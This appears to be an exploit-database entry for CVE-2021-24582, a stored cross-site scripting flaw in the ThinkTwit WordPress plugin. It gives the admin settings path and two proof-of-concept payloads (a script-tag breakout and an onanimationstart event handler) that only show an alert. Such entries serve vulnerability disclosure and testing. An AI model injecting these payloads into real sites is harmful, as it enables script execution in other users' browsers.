Exploit for ThinkTwit < 1.7.1 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24582

Name: Exploit for ThinkTwit < 1.7.1 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24582
Rating: 5 (279 reviews)

2021-08-18 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:5A5293ED-DDCB-4A63-9420-09942E7D69C2
Put the following payload in the "Consumer key" setting of the plugin (/wp-admin/options-general.php?page=thinktwit):
- v < 1.6.7 : "><script>alert(/XSS/)</script>
- v < 1.7.1 : " style=animation-name:rotation onanimationstart=alert(/XSS/)//